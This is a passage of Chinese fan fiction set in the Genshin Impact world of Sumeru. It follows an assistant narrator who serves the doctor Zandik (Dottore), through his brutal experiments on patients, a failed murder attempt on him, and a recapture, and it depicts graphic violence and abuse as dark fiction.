活力之家现在的病人基本上都是这周住进来的,因为发病还早,所以现在神智都还清醒,按照阿毛迪以前照顾过的病人情况,魔鳞病的恶化速度很快,如今还算和谐的情况可能维持不了多久。 易卜拉辛是刚调过来的新人,听阿毛迪这么说,心里很难过,但还是努力鼓励大家要心怀希望,不要放弃。 对年轻人的乐观,阿毛迪只是叹气。 赞迪克微笑不语。 我是个哑巴,只管埋头干饭。 活力之家没有多余的房间给每个人单独的地方睡觉,于是大家都睡的通铺。 赞迪克不喜欢和其他人接触,于是他睡在靠门的那一头,我和赞迪克挨在一起,另一边是易卜拉辛,最里面是阿毛迪。 到处都有其他人看着,赞迪克很长一段时间都不再用平时的方式对待我,我们之间的关系暂时保持平等的状态。 白天我便跟着赞迪克巡视病房,赞迪克负责问,我负责记病例,然后把记好的病例交给他签字,再交给活力之家如今的管理人阿毛迪存档。 赞迪克着实是有点恶趣味在身上的,他喜欢让我拿着病历本,用手垫着给他签字,目的只是为了让我看他签“塔德纳克”这四个字。 这位饱受争议的天才就连写字也很好看,自成筋骨,笔尖勾着“塔德纳”三个字的时候,那双红色的眼睛便一直看着我。 我保持一幅什么都不知道的死人脸,看他签完前三个字,最后一个“克”潦草地带过,笔迹飞出纸边。 如阿毛迪所说,这些人的病情很快恶化,不过两三天的时间,哈基姆体表的鳞片便扩散到了全身,身体开始溃烂,手臂几乎不能使用,疼痛非常。 哈基姆的精神开始变得很差,疼痛折磨得这位中年人几欲想死,睡觉的时间也越来越长。 赞迪克向其注射了一份不知名的药剂。 “第一周住院情况 患者病情加剧,疮痂扩散全身,体表溃疡面积扩大,手臂疼痛,无法使用。 精神萎靡,且出现自毁倾向。 注射镇静剂一支,患者精神状态略微好转。 负责医师:塔德纳克” 这是明面上交给阿毛迪的那一份,而赞迪克手里还有自己的一份诊断报告,他将黑紫色的药剂称为“魔神残渣”,哈基姆则是“Ⅰ号样本”。 “诊断报告 治疗对象:哈基姆。性别:男。职业:农民。 …… 负责医师:赞迪克 状况: 开始治疗的第一周,在劝说Ⅰ号样本接受我的治疗无果后,我将魔神残渣替换正常药剂注射给他。在之前的解剖中我意识到魔鳞病患者体内元素量水平处于异常高位,在注射魔神残渣后,Ⅰ号样本体力的元素量水平降低,停止恶化,但精神仍然疲惫,无法与人正常沟通。 备注: 有理由假设元素量水平与所谓‘魔鳞病’存在因果关系,应进行更多对照试验排除冗余因素。 魔神残渣究竟能做到何种程度还需要进一步观察,这种力量很有趣,或许能够在其他地方发挥奇效,但对于魔鳞病似乎只能起到抑制的作用,而非治疗。” “第二周住院情况 体表疮痂增长速度缓慢,溃疡坏死情况仍在继续。病人处于昏迷状态,无自主意识。 负责医师:塔德纳克” “诊断报告 …… 负责医师:赞迪克 状况: 治疗情况并不理想,我再次给Ⅰ号样本注射了一支魔神残渣,这次效果很显著,溃疡坏死得到有效控制,体表疮痂无新增。Ⅰ号样本仍然处于昏迷状态,但偶尔会有呓语,并出现情绪激动的状况,他开始在半夜的时候起床念诵有关‘神’的颂词,并将病症归于不可知论的‘神罚’。 为防止被其他人发现,向Ⅰ号样本投喂少量安眠药。 备注: 经过几次试验,发现元素量水平与魔鳞病的严重程度存在正相关性,但魔神残渣注射剂量与魔鳞病的关系仍需进一步试验。 实验体情绪波动会使体内元素量升高,需找到控制情绪波动的手段。 考虑通过通过移除病异手臂并替换的方法进行治疗,但缺少试验素材。” 第三周,哈基姆体表的状况虽然得到了有效的控制,但意识没有清醒的痕迹,而且他的精神状态也有越来越危险的趋势,甚至会出现白天暴起伤人的情况,迫于无奈,我们暂时上了束缚带。 第二天,哈基姆死亡。 “诊断报告 医师备注: 人体元素量富集过程可能是动态持续的。 在完成早期的魔神残渣注射试验后,短时间内,Ⅰ号样本身体各项指标趋于正常。后期,由于注射不彻底,样本体内元素量水平回升,症状加剧,导致Ⅰ号样本彻底报废,无法作为素材回收。” …… 这不是我第一次见证人的死去,更不是我第一次直接或间接地参与到死于非命的谋害中。但我还是为此感到难以释怀。 一个人就此死去,而凶手就在我们身边。 赞迪克就哈基姆尸体的处理与其他两人产生了矛盾。 赞迪克:“为了给治疗魔鳞病提供更多的信息,我认为应该对哈基姆进行解剖。” “逝者已逝,魔鳞病的治疗谈何容易,不如埋葬,尘归尘,土归土,让他有个归处。”这是易卜拉辛的观点。 阿毛迪也赞同易卜拉辛的观点,且很看不惯赞迪克的行为:“死都死了还谈什么解剖。” 赞迪克冷笑:“不等死了解剖难不成要活着剖?” 阿毛迪气得脸色铁青。 三人不欢而散,哈基姆的尸体便单独陈列在医生们睡的那间房的门外走廊。我实在有些看不惯尸体,总觉得心里凉飕飕的,白天的时候就尽量呆在病房或者厨房。 阿毛迪和易卜拉辛决定等第二天就把哈基姆埋葬在附近,然后立个牌位。 他们没能等到这一刻,赞迪克或许是终于厌烦了这样每日过家家的日子,当晚杀死了这两名最后的医生。 我是在半夜的时候惊醒的,因为晚上睡着的时候一直想着外面列着的哈基姆,旁边还睡着个赞迪克,怎么睡也睡不安稳,好不容易迷迷糊糊陷入沉睡,又在半夜莫名其妙被尿憋醒。 早知道睡前就不喝那杯水了。 我这样想着,准备摸起来去一趟厕所,大不了路过走廊的时候把灯移开点当自己看不到尸体。 我脑子迷茫,等摸着黑把煤油灯点燃才发现旁边赞迪克的床位没有人。 不只是赞迪克不在,整个房间安静得像是死了一样,阿毛迪年纪大,晚上睡觉喜欢磨牙说梦话,现在也是半分声响都没有。 我有些害怕,脑海里想起以前听过的恐怖故事,惊出一身冷汗。 煤油灯灯光昏暗,我举着灯试探性地向里面的方向照过去,看见两个人并排坐在墙边。 再近一点,看见胸口暗沉的血和直贯心脏的伤口。 “!” 我吓得灯都拿不稳了,一屁股摔在地上。 缓慢的脚步声响起,有人穿过走廊进来了,是赞迪克,他走进来,捡起地上的煤油灯,没事人一样。 “醒了?怎么摔地上了,这么不小心。” 他的心情似乎很好,专门走到我身前半蹲下来,伸手:“需要我拉你起来吗?” “你,你把他们都杀了……”我声音干涩。 “对,你以后不用装哑巴了,怎么样,高兴吗?” 我喉咙一阵发紧,说不出话来。 赞迪克也没那么有耐心,见我不回话就拎着我的领子把我拽起来,然后扔到床上。 “别那么害怕,一幅没见过世面的样子。我有 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艾文的惨叫声几乎持续整个试验过程,我近乎麻木地围观着,手指冰冷僵硬。 原来是这个意思。 “人不过是足够复杂的机器。” 艾文床头的花瓶已许久未更换新的鲜花,前两日易卜拉辛还答应过等明天去城里补充物资的时候给这位爱花的小姐带上一支最美的须弥蔷薇。 如今简陋的花瓶内只剩下干枯的枝,花瓣早已凋落。 “第四周住院情况 在经过肢体移植的手术后,艾文的魔鳞病得到了有效的医治,疮痂停止生长,患者的精神状态也有所改善,艾文清醒的时间变长了。本阶段的治疗确实对魔鳞病有显著的作用。 记录人:塔德纳” …… “第五周住院情况 艾文清醒的时间越来越多了,但她很抗拒赞迪克的接触,只有我还能稍微接触到她。阿尔伯兹和阿巴斯的情况也在变得严重,…为他们注射了魔神残渣,恶化停止。 记录人:塔德纳” …… “第六周住院情况 艾文跟我说她听到了‘神’的声音,‘神’要惩罚沙漠的子民,所以降下了魔鳞病。我有些担忧,艾文的精神状态很不安定。 为了确保艾文的情绪不会影响自身的身体状态,…进行了脑额叶切除手术。 她安静了两天。 她死了。 记录人:塔德纳” …… “第七周住院情况 下一个是阿尔伯兹,更换肢体,然后切除脑额叶,阿尔伯兹醒来的时候会看他的糖罐,但那里面已经很久没有新的糖果补充了,只有一两颗他昏迷前吃剩下的,也已经有些变质。 记录人:塔德纳” …… …… “…… 我不知道这是第几周了,我依旧保持着偶尔在病例本上写一些东西的习惯,最初是一周一写,后来我偶尔会遗忘这件事,好几周都想不起来有这件事要干,偶尔又会陷入心情低迷的状态,一连好几天都写上自己的心得。 我不记得上一次记录写了什么,就写写最近记得的。 阿尔伯兹死了,…将他身上可用的素材取下来移植到阿巴斯身上,阿巴斯出现了很多次离开病房的情况,他说‘神在指引他’。 我没有听到任何声音,…认为是沙丘内部地形结构的共振现象。 …准备在第三阶段更换阿巴斯的内脏,不过阿巴斯在移植手术后出现了发炎的情况,可能需要推迟。 记录人:塔德纳” …… 第二十一周,赞迪克出去调查所谓的“神”的声音了,我去给阿巴斯送饭,临走时阿巴斯拽住我的手。 “救救我……” 这位已经被折磨了几个月的青年几无人样,他如今已差不多恢复了神智清醒,醒来第一件事,他的内心在疯狂警告他: 快逃! 阿巴斯拖着自己被恶医分开又拼接起来的身体,跪在床上向我乞求:“求求你,救我……” 8. 第 8 章 我出生于一个普通的须弥学术家庭,作为被寄予厚望的孩子出生,我的幼时时光一直显得严肃又不失温情。 与总是对我严厉的父亲不同,我的母亲是一位温柔的女性,她接受过高等教育,对我有足够的耐心,总是会宽慰偶尔迷茫的我。 我的母亲总会劝慰我: “无论你做什么,只要不让你自己后悔就行。” 我在我的人生中始终贯彻这句话,于是在考入教令院后毅然决然与家庭断绝往来。 不论在我过往的人生中,我做了什么,过得如何失败,我都从未后悔过。 包括我不得已屈服于赞迪克。 也包括,我决定要救下阿巴斯这件事。 既然无法拒绝,那就去做。 我安慰了阿巴斯,并答应他会在今天找一个合适的时机带他逃出去。 阿巴斯很是紧张且害怕,他无法完全信任我,但他现在能够信任的人也只有我。 我准备给赞迪克下毒,然后带阿巴斯趁机逃出去。 多亏了赞迪克那些稀奇古怪的药剂,我虽然并不认识全部,但跟着赞迪克这么久,找到能让人短时间身体麻痹,失去意识的药剂还是没费多大功夫。 今天的晚饭是米圆塔和绿汁脆球,在赞迪克回来之前,我在他那一份的饭菜里下了十足十份量的药剂。 做完这一切不久,我心情忐忑地等待赞迪克回来。 赞迪克回来时一身的沙土,他专门去了很远的地方查看所谓的声音,弄得有些狼狈,看神色也不像查出了什么东西的样子。 “主人。”我从椅子上站起来,帮忙把赞迪克的外套脱下来挂到墙上。 “阿巴斯今天的情况怎么样?有什么异常吗?”赞迪克照例询问情况。 “一切都正常,刚才吃过晚饭后便睡了。” “嗯。” 他坐下,翻开自己的笔记本,在上面记东西,并不着急吃饭。 我看了一眼赞迪克面前的饭,想到里面下的毒,手指无意识地抓着裤缝,手心一片汗。 “主人,还是先吃饭吧,您回来得比我想象中的晚,汤等会儿可能就凉了。” 我努力维持着声线的平稳,挤出一个笑容。 赞迪克只是慢悠悠翻了一页笔记。 “不急,我不是很有胃口。你如果饿了可以先吃。” “是……多谢主人,不过我刚才已经吃过了,所以……” 赞迪克倏然关上笔记本,有些用力的关书声让我高度紧张的神经忍不住一颤。 那双冷漠的红色双眼望向我:“你在撒谎。从刚才我进门开始你便很奇怪,平时你根本不会和我主动打招呼,更不会关心我吃饭的事情,还有……” 他站起身走到我面前,抓住我垂在身边的手,像是把玩玉石一样摸索着我的手心。 “出这么多汗,你在紧张吗?紧张什么?我想想,你干了一件和我有关的事情?” 我全身僵硬,一动也不敢动。 赞迪克离我离得极近,一只脚嵌进我两脚间,几乎面对面贴合着我。 我死死地低着头不敢去看他,但那环绕着我的危险气息无时不刻不提醒着我赞迪克的存在。 我无法瞒过他。 我的演技很差,小的时候撒谎说花瓶是被隔壁小孩子来玩的时候不小心砸碎的也会被一眼识破,即使长大了,这件事也依旧毫无改变。 他们能轻而易举地看出来我是一个阴暗的家伙,即使我努力地在讨好他们。 于是后来我不再包装自己,老老实实当他们口中的“怪人”。 我骗不过赞迪克。 我的大脑如此告诉我。 “你似乎很想让我吃饭,你在这里面做了手脚?”赞迪克猜测着,语气里甚至含着一丝轻微的笑意。 这个疯子…… “我没有,主人……” 话还没说完,我便被赞迪克卡着脖子压到餐桌上,脑袋狠狠磕在桌子上,撞翻了摆在另一边的餐具。他捏着我的下颌,强迫我张开嘴,然后拿起那碗汤朝我的嘴里灌去。 赞迪克的动作十分粗暴,我感觉鼻孔里都是汤,连呛了好几口,温热的汤水顺着我的下巴流了我一身。 “呜呜……” 我挣扎着,伸手去制止赞迪克的手,但被以一个奇怪的姿势死死压在桌子上,根本使不上力。 灌了小半碗汤后,赞迪克终于停手,他看着我满眼泪水,一身狼狈的样子,脸上没什么表情。 “你现在有什么感觉吗?” “主人,我真的没有做手脚,呜……” 无论赞迪克是否相信,我现在确实没什么异常,这说明至少汤是没有问题的,他又把视线转向剩下的饭菜上。 赞迪克松开我,我脱力地跪在地上。他拉开一把椅子坐下,说:“想让我信你?你知道该怎么做。” “是,主人。” 我心领神会,扶着另一把椅子从地上艰难地站起来,另取了一把勺子,在赞迪克的注视下在两道菜里都吃了几口。 饭菜确实已经有些冷了,加上咖喱里还加了我最不喜欢的洋葱,吃的我有些反胃恶心。 我努力咽下去。 吃完我放下餐具,重新跪倒在赞迪克脚边,低垂着头。 “主人,我吃完了。” 赞迪克抓着我的头发强迫我抬头看他,我疼得要命,顺从地仰着头,咬着牙不敢出声。 他恶狠狠地威胁我:“你最好保证我不会发现你的手脚,否则我会让你生不如死。” “是……” 赞迪克松手,用手帕慢条斯理地擦干净手,然后拿起自己的餐具开始吃饭。 他既没有说话,便是让我继续跪着长长教训的意思,于是我便沉默地跪在他脚边。 房间里只剩下餐具偶尔碰到餐盘的声音。 我无论如何也骗不过赞迪克,这点我心知肚明。 事实也如我所料。 赞迪克是个敏锐且多疑的人,他很快就识破了我的心虚,并且强迫我试毒之后才敢吃饭。 但他可能低估了我的决心,在下毒的时候,我取了两份用途不同的毒药,一份能够让人四肢无力,需要一点时间见效,另一份则是致人意识溃散的毒药,一旦服下,即刻见效。 让人无力的药我下在饭菜里,而能让人失去意识的毒药则是被我均匀地涂抹在了赞迪克的餐具和餐盘上。 赞迪克不可能接受和别人共用餐具,所以他的用具一向是单列一套的,这也正好给了我可趁之机。 虽然我也必然会在试毒的时候被迫摄入那份让人四肢无力的毒药,但一来我摄入的量不多,二来这副毒发作需要时间,我只需要在毒发作之前解决赞迪克便可以达成目标。 我在心中掐算着时间。 没过多久,餐桌上传来一声异响。我看着赞迪克痛苦地捂着自己的头从椅子上站起来,但很快无法支撑自己的身体摔落回椅上。 那双从来保持着清醒和冷酷的红眸此刻在药物的作用下有些瞳孔涣散。 赞迪克几乎是瞬间便知道了自己的情况是怎么回事,他怒火中烧,脸色狰狞,用尽此时的全力踹在我的心口。 这一脚力度并不大,更别提在他动脚之前我便预料到了,于是顺着他踹我的方向倒在地上,甚至没感觉到多大的痛感。 我慢慢地爬起来,俯视着痛苦的赞迪克。这样的视角实在是难得,我也有能够俯视赞迪克的一天,换做以前的我根本无法相信。 赞迪克的手都在微微颤抖,似乎在经受巨大的痛苦。呼吸急促,全身紧绷。 我不知道这是否是那药的缘故,赞迪克喜欢在那些病人身上用这药,因为他要避免这些人胡思乱想破坏试验结果。 服用过这药的病人似乎都很痛苦,他们会发出令人脊背生寒的惨叫声,然后在彻底散失意识之后陷入昏迷状态。 如此想来,眼下赞迪克或许也正在经历这份痛苦。 他是这种药的制作者,也是最清楚这种药的人,现在自己也尝到了这份他曾经施加到别人身上的痛苦,真是令人感到讽刺。 “你竟敢把这个药用在我的身上!” 赞迪克扶着餐桌的手青筋凸起,咬牙切齿,似乎恨不得生啖我的肉。 我看着勉力支撑自己清醒的赞迪克,有种身份调换的荒谬感,一时间有些感慨。 “天理 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我的手止不住地颤动。 “抱歉,我很感谢你让我活到了现在,但是对不起,我有这么做的理由……” 刀刺进肉的声音十分清晰,赞迪克的血溅了我一身,脸上,身上,手上,全都是赞迪克的血。 身下的挣扎很快平息。 我有些恍惚地站起来,扔掉手里的刀,几乎不敢再去看赞迪克的尸体第二眼,强迫自己驱动软弱的双腿跑进病房。 我把阿巴斯叫醒,也不管他醒没醒,拉着他的手就往外面跑。 “走!我们现在离开这里。” 阿巴斯刚醒,被我一身血的样子吓了一大跳,他跟着我的步伐朝外面跑去,边跑边喘着气问我:“你,你这是怎么了?” “我把赞迪克杀了。” 阿巴斯被我吓到了,他不再说话,只是一昧跟着我跑。 我们一口气跑了很远,直到再也看不见活力之家才停下脚步喘口气。 夜晚,我和阿巴斯在一个山洞里暂时栖身,我生着火,把自己从活力之家带走的食物分给阿巴斯。 我问阿巴斯:“你知道要怎么走吗?” 阿巴斯摇头:“抱歉,我现在记得的事情很少。” “是吗?我也不太认路,太糟糕了。”我叹了口气。 阿巴斯:“你真的杀了那个恶医?” “真的。” 阿巴斯:“真的?你不是他的手下吗?” 我没理由地感到一股无力:“我是被迫的。” 阿巴斯:“哦。” 我们沉默了一会儿,看着火堆发呆。 夜晚的沙漠很冷,我们逃得匆忙,也没带什么御寒的衣服,两个人都冻得瑟瑟发抖,脸色青白。 阿巴斯有些害怕地问我:“那我们之后怎么办?” 我蹲在地上把自己塞进自己怀里:“先睡觉,明天回去一趟拿些食物和衣服。” “好。” 我能够感受到阿巴斯对我的恐惧,就如同他面对赞迪克时。 我对此有些恼火。 我其实也能够明白阿巴斯其实是害怕“我刚杀了人”这件事,以及,之前的试验之中,他对我遗留下来的阴影。 但我还是不可避免地感到生气。 是他用那样一副可怜的样子求我,我才狠下心来杀了赞迪克。 如果没有他的那些话,我现在仍然还是跟在赞迪克身边,只需要注意遵从赞迪克的命令,其他什么都不需要多想。 不需要因为杀了人担惊受怕,不需要担心怎么逃到有人的地方,不需要担心食物,更不需要在这个破沙漠挨冻。 我的心里蓦然生出一股强烈的后悔。 不! 不是这样的! 我,我其实早些时间也想过“赞迪克如果死了就好了”这种事……所有的事也都是我自己做的…… 我怎么可以把这一切都怪在阿巴斯身上…… 我怎么可以后悔…… 不可以,不可以让自己后悔…… 9. 第 9 章 第二天一大早,天才刚蒙蒙亮,我便叫醒阿巴斯一起回活力之家拿东西。 阿巴斯有些不情愿,我能够理解,活力之家对他而言就是地狱,好不容易逃出去,如何会想再回去。 其实我也一样,昨日勉强忍着寒冷睡着的时候,脑子里想的都还是赞迪克那双带着狠厉和怒火的眼睛。 我打了个寒颤,定了定心神,朝活力之家的方向走去。 一夜过去,活力之家似乎没有丝毫的变化,仿若一切都还是过往的模样。我精神有些恍惚地拉开门,阿巴斯嫌我动作慢,挤着我先行进屋避风。 “好冷,好冷,我先去拿我的衣服了,你快点。” 不过一眨眼的功夫,阿巴斯的声音便远得有些模糊了。 我的脚冻得有些僵硬,刚才那一下差点被阿巴斯撞倒,幸好我扶着门,才维持了身体平衡。 我拉开门朝里面看去,只一眼,便心生寒意。 地上残留着昨日的鲜血,如今已经发黑,但赞迪克的尸体,竟然毫无踪迹! 我忍不住倒吸一口凉气,感觉沙漠的寒风把我的脑子都吹跑了,大脑一片空白,手脚发软。 不,不,这不对…… 赞迪克呢? 难不成……他还没死…… 不可能! 我昨天明明亲手…… 从赞迪克胸口涌出的鲜血的温度仿佛还残留在皮肤上,我忍不住起了一身鸡皮疙瘩,恍惚中,我好像听见有人的脚步声。 躲! 快躲起来! 身体比大脑先一步反应过来,我快速关上大门,跑进病房把正在库库装东西的阿巴斯拉起来,藏到一个装杂物的小隔间。 阿巴斯叫出声来:“你干什么……” 我捂住他的嘴,把他抵在墙上遏制住他的动作。 “嘘。” 我示意阿巴斯不要出声,然后扭过身子从狭小的木板缝而往外看。 “哒……哒……哒……” 熟悉到令人头皮发麻的脚步声越来越近,我紧张地扒着门往外看,心脏狂跳,仿佛要从嗓子眼跳出来一样。 那脚步声停在门口,我无法看见那道身影究竟是谁,但他开口说话了。 “没什么异常……还得感谢你,要不是你昨天发现了我,我现在恐怕还躺在地上呢。” 是赞迪克!他真的还没死! 我眼前一片发黑。 他似乎在和谁对话。 “只不过是恰好发现。多托雷,出发的时日就在最近,你准备何时出发?” “不急。”赞迪克轻轻一笑,“我还需要一些时间在这里收个尾。” “你那位刺杀你的下属,需要我派人去找吗?” “不用……我和他,迟早会再次相见的。” 男人刻意放缓的声音犹如大提琴的琴声一般优雅,他细细地品尝琢磨着那个名字,如同亲密的爱抚。 “塔德纳……塔德纳……我的同行者,我的不忠之人,我要亲手抓住他,然后……” 他似乎沉浸在了自己的想象中,过了很久才吐出几个字。 “我要他生不如死,再也不敢违逆我……” 我吓得全身发抖,还要加紧对阿巴斯的桎梏,从刚才起,阿巴斯就像是受了什么很大的刺激一样,剧烈得挣扎着,我能看到他因为恐惧而剧烈收缩的瞳孔和瞬间惨白的脸色。 “你从今往后是我们的同伴,我尊重你的选择。但还请你注意时间,不要玩的太过火,我们无法在此停留过久。” “我知道。放心吧,很快就会结束。我要出去一趟,你一起吗?” “好。” 脚步声走远,很快响起开门关门的声音。 他们出去了。 我有些脱力地松开阿巴斯,整个人半瘫在门上,宛若刚从水里救出来的狗一般。 阿巴斯愤怒地揪住我的衣服:“你不是说过你杀了他了吗?!这到底是什么情况?” “我怎么知道这到底是怎么了,你放开我,我难受。”我用点力推开阿巴斯。 阿巴斯无力地坐在地上,喃喃自语:“这下糟了,这下死定了,要是被抓住肯定是死路一条,早知道就不回来了,不回来的话哪里会发生这种事,我要出去,我要现在逃出去!” 阿巴斯扒开我就想出去,我踹了他一脚,把他踹回去,心里也带了点怒火:“蠢货,你没听到刚才那个人说他们还有其他人吗?现在出去你想找死?” “那怎么办?!” 我心烦意乱,心里也不知道该怎么办。 事实上,我怀疑赞迪克可能早就发现我们俩了,我和阿巴斯回活力之家的时候就说不定被他们的人看见了,要不然怎么会这么巧…… 但我现在也只能安慰自己,赞迪克既然没过来一把掀了我们藏身的房门,那么也有可能他就是没发现我们。 希望如此吧。 那边阿巴斯还在崩溃破防,他扯着自己的头发,连扯出来血都察觉不到,还在神经兮兮地自言自语。 “糟了,糟了糟了糟了糟了,我不想死,我不想死,我不想死在那个恶医手上。啊啊啊啊……都怪你,”他僵硬地转动脖子看着我,“都怪你,如果不是你硬是要回来,如果不是你,我也不会变成现在这个样子。” 他的样子很是瘆人,眼神空洞,语气里含着噬骨的恨意。 我气得没忍住给了他一拳:“神经病,那你还记不记得是我杀了赞迪克把你带出去的?” 阿巴斯摸着自己的脸,悻悻地不敢说话了。 我和阿巴斯一直呆到晚上,偶尔从这里能够看到外面有人巡逻的身影,我确定根本没有逃出去的可能,于是开始摆烂。 阿巴斯挨了我一拳,倒是清醒了不少,他啃了一下午指甲,啃得一手血,我嫌他埋汰,离他远了一些,缩在对角的墙角里。 到了晚上,他清醒过来了,又念叨了很久“不想死”之类的话,然后在杂物堆里面翻了好久,摸出来一把铁锹,开始挖土。 他挖地很卖力,对赞迪克的恐惧和对生的渴求激励着他,几乎一刻都不敢停下,挖累了,他便喝两口水,潦草地塞几口食物,继续挖。 土坑越来越深。 我冷眼看着他挖土,看了很久,阿巴斯站起来的时候看见悠闲的我很生气,转头又从杂物堆里翻出来一把铁锹扔在我脚边。 “你光是看着看什么?一起挖!” “逃不出去的,赞迪克说不定早就知道我们在这里了。” “我不管那么多,我要活!” 昏暗的煤油灯下,我看着阿巴斯满脸的汗水,以及充满着红血丝的眼睛。 他也和我对视,眼睛里倒映着一闪一闪的火焰。 我叹了口气,忍不住闭了闭双眼,然后爬起来和阿巴斯一起挖地道。 两个人一起的效率要高多了,我们不停不歇地挖了很久,深度足够后便朝着前方挖,足足挖了十几米的地道才敢停下来休息一会儿。 我精疲力尽地靠在墙上,衣服上皮肤上全是泥土。 另一边,阿巴斯狼吞虎咽地汲取着食物和水,地道里空气不畅,热的要死,他便脱了上衣散热。 我有些心累地闭上眼。 过了一会儿,阿巴斯问我:“你不饿吗?你也来吃点吧。” “我没有胃口,你自己吃就行。” “哦。我估计咱们要在这地下待很久了,我之前被你拉走,也没拿够足够多的食物。” 我皱了皱眉。 “我明天会上去一趟打包食物下来。” “被发现了怎么办?” “不会供出你的。” 阿巴斯放心了。 “那行。” 我扯了自己的外套垫在身下,面朝着土墙闭上双眼准备睡觉,心里却久久无法平静下来。 其实我已经一天没有吃过东西喝过水了,又挖了那么久的地道,现在不仅手疼腿酸,胃也在一抽一抽地疼。 但我确实没什么胃口,既不是因为恐惧,也不是因为愤怒。 只是因为不想。 我懒得去思考阿巴斯对我的态度,懒得去思考为什么我冒着这么大的风险,连一句感谢的话都听不来,还要被各番埋怨,也懒得分析现在外面的情况,以及自己未来的结局。 我只是在发呆,盯着墙上的一个小石子,连思考的本能都彻底丧失,只是偶尔发出命令驱动自己的身体去做事。 我失眠了很久,等到差不多的时间,阿巴斯醒来再次开始挖掘工作的时候,我站起来回上面去拿物资。 推开杂物间的门的时候我有一种恍如隔世的感觉,外面好像正是晌午,阳光照在 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双手因为连日的挖掘生出水泡,然后磨破,最终结成厚厚的一层茧。 自那日之后的时间,我又回去几次拿了食物和药物,但等到挖得过于远之后,我便也不再返回了。 赞迪克的药颇有成效,我慢慢地不再感觉到饥饿,甚至对食物生不出任何的想法,于是除了日常的药物份例外,我不再进食,只偶尔喝一些水。 阿巴斯的精神状态不总是稳定的,他会在墙壁上刻下文字,向神明祈愿,诉说自己的痛苦,痛斥赞迪克对他施加的恶行。 没有食物之后,他开始捕捉洞穴里面的虫子和动物,如果没有这些,就从墙上刨下土来吃。 等他陷入疯狂的时候,我便会离他远一点,看他挥舞着铁锹仿佛在和谁搏斗一样,等累了他又瘫坐在地上,嘶哑着嗓子哭喊。 “神明啊,若您还愿意饶恕我,请看看我吧,神明啊,请饶恕您的信徒,给予我生的活路。请您引导艾文和哈基姆的灵魂,令他们得以重返阿如村,还有小阿尔伯兹,请您引导我回到家中,再次与父母重逢……” 我并不怎么信神,须弥的神明被称为智慧之神,但我是个愚笨之人,从未有过资格能够获得神明的瞥视。 我不为此感到失望难过,也不为神明的视线追逐渴望。 但或许神明真的会瞥视阿巴斯,为他指明道路和方向。 总而言之,在不知道多少日之后,在不知道多少次的机械敲击后,路,挖穿了。 澄澈的月光洒在脸上,我钻出地道,沙漠的风拍打在我的脸上,此刻无比温柔。 阿巴斯高兴地几乎疯了,他扔下铁锹,嘶吼着,要将自己连日的痛苦,连日的泪水和汗水都嘶吼出来。 就连我麻木多日的心脏仿佛在此刻也重新跳动起来。 它在为这来之不易的自由欢呼。 然而还没等我高兴太久,一道高大的身影迅速接近我。 “许久不见,我亲爱的下属。” 无数次出现在我的噩梦中的声音在我耳畔响起,我犹如多年未经保养而生锈的发条机器人一样费力地转动自己的脖子。 一张熟悉的脸居高而下俯视着我。 赞迪克似乎没有变化,那场刺杀似乎没有在他身上留下任何影响,他如今换了一身衣服,有点不太带有须弥样式的衣服。 在他的身边,是一位带着半脸面具的男人,年纪似乎很大,但身高很高,颇具威望。 只这一会儿,我们身边便被士兵包围住了,这些士兵训练有素,手里抓着阿巴斯,像抓着小鸡一样。 “你,你们是谁?放开我!放开我!” 阿巴斯奋力挣扎着,却被给了一枪托。 阿巴斯老实闭嘴。 士兵向半覆面的男人恭敬汇报:“【丑角】大人,人已经抓住了,请问要怎么处置。” 【丑角】看向赞迪克。 我抬头看向赞迪克,赞迪克也笑着看我。 我下意识地去抱住赞迪克的腿,哐哐利落地磕了两个头,求他:“我无所谓,求您放过阿巴斯。” 赞迪克怒极反笑,一脚踹在我心窝,踹得我两眼直发黑。 他骂我:“不长教训的蠢货!” 10. 第 10 章 赞迪克不喜欢我对别人过多的关注和怜悯,更不喜欢落到这个境地,要在别人脚下乞食的我还敢把自己当作正常人,去做好人好事。 我深刻地知道这一点,为此也吃过了很多苦头,但若是有人拉着我的手向我求助,我依旧发现,我无法做出任何拒绝。 自问良心,我无法坦然地承认自己是一个好人,也没有为他人奉献自身的伟大自觉,我只是单纯地无法说服自己无视别人的求助。 无法无视,那就只能去做。 至于此后的诸般后果…… 就如同现在一般,那便承受着吧。 赞迪克比我想象中的还要生气,他像是恨铁不成钢一样,扯着我的头发把我拉起来,然后一只手死死地掐着我的脖子,举离地面,似乎是想要一鼓作气把我掐死在这里。 我感觉到痛苦的窒息感,微弱地挣扎,双脚接触不到地面,便胡乱地乱蹬着。 “多托雷,你要如何处置这两个人?”这是【丑角】的声音。 赞迪克,或者是如今抛弃过往,改名为“多托雷”的青年笑了笑,红眸宛如噬人血肉的恶魔。 “塔德纳我要亲自处理,至于另一个人,那是我的实验样本,对我还有用,抓回去。” 阿巴斯凄惨地叫起来:“不,不要,求你不要再在我的身上做实验了……啊,你们放开我,放开我,我不要回去……塔德纳,你这个恶魔的走狗,都怪你,都怪你!” 我此刻已因为长时间的窒息有些意识模糊了,只是阿巴斯尖锐的声音仍像一把尖锥一样刺进我的大脑,我感到痛苦且茫然。 多托雷露出嘲弄的冷笑,他把我扔到地上,我痛苦地捂着脖子,身体蜷缩着,死后新生般大口大口呼吸着空气。 “看到了吗?你费劲心力救出来的家伙就是这种货色,怎么样,满意了吗?” 我徒然闭了闭双眼,机械般地拽住多托雷的裤脚,恳求:“求您,放过阿巴斯,求您了,您可以在我身上发泄怒火,可以在我的身上做试验,我的身体和生命,都可以交给您来处置。” 多托雷:“……” 多托雷蹲下来,钳住我的下颌:“我本来就可以随意处置你的身体,你的身体每一寸每一毫都是我的。” “是,主人。求求您,放过阿巴斯吧。” 多托雷面无表情:“值得吗?” 我抿唇:“不值。” “那你还那么在意他的死活?” “他向我求救了。” 多托雷冷笑一声。 “蠢货,别人轻飘飘向你求个救你就把自己的命都恨不得搭进去,这个世界上每天有那么多人求救,你能有几条命去救?这样,我现在求求你,救救我,别再这么犯蠢了,我看见你都要被你蠢得气死了。” 我只是沉默。 “你想救他,为了他个和你毫不相干的人,你什么都可以做,是吗?”多托雷如此问我。 “是。” 一把手术刀被扔在我的腿边,刀上虽全是干涸的鲜血,但锋利依旧。 “认得吗?” 我喉咙发涩:“认得……” “自从你那天捅我那一刀起,我就每日每夜地梦见你……”多托雷扯出一个笑来,手掌隔着衣服触摸我的胸膛,“梦见你被我捅穿心脏,我把你的心挖出来,然后碾碎,再喂给你吃……梦见你被我绑在台子上,我就拿着这把刀,一片一片地片你的肉,你就眼睁睁看着……” 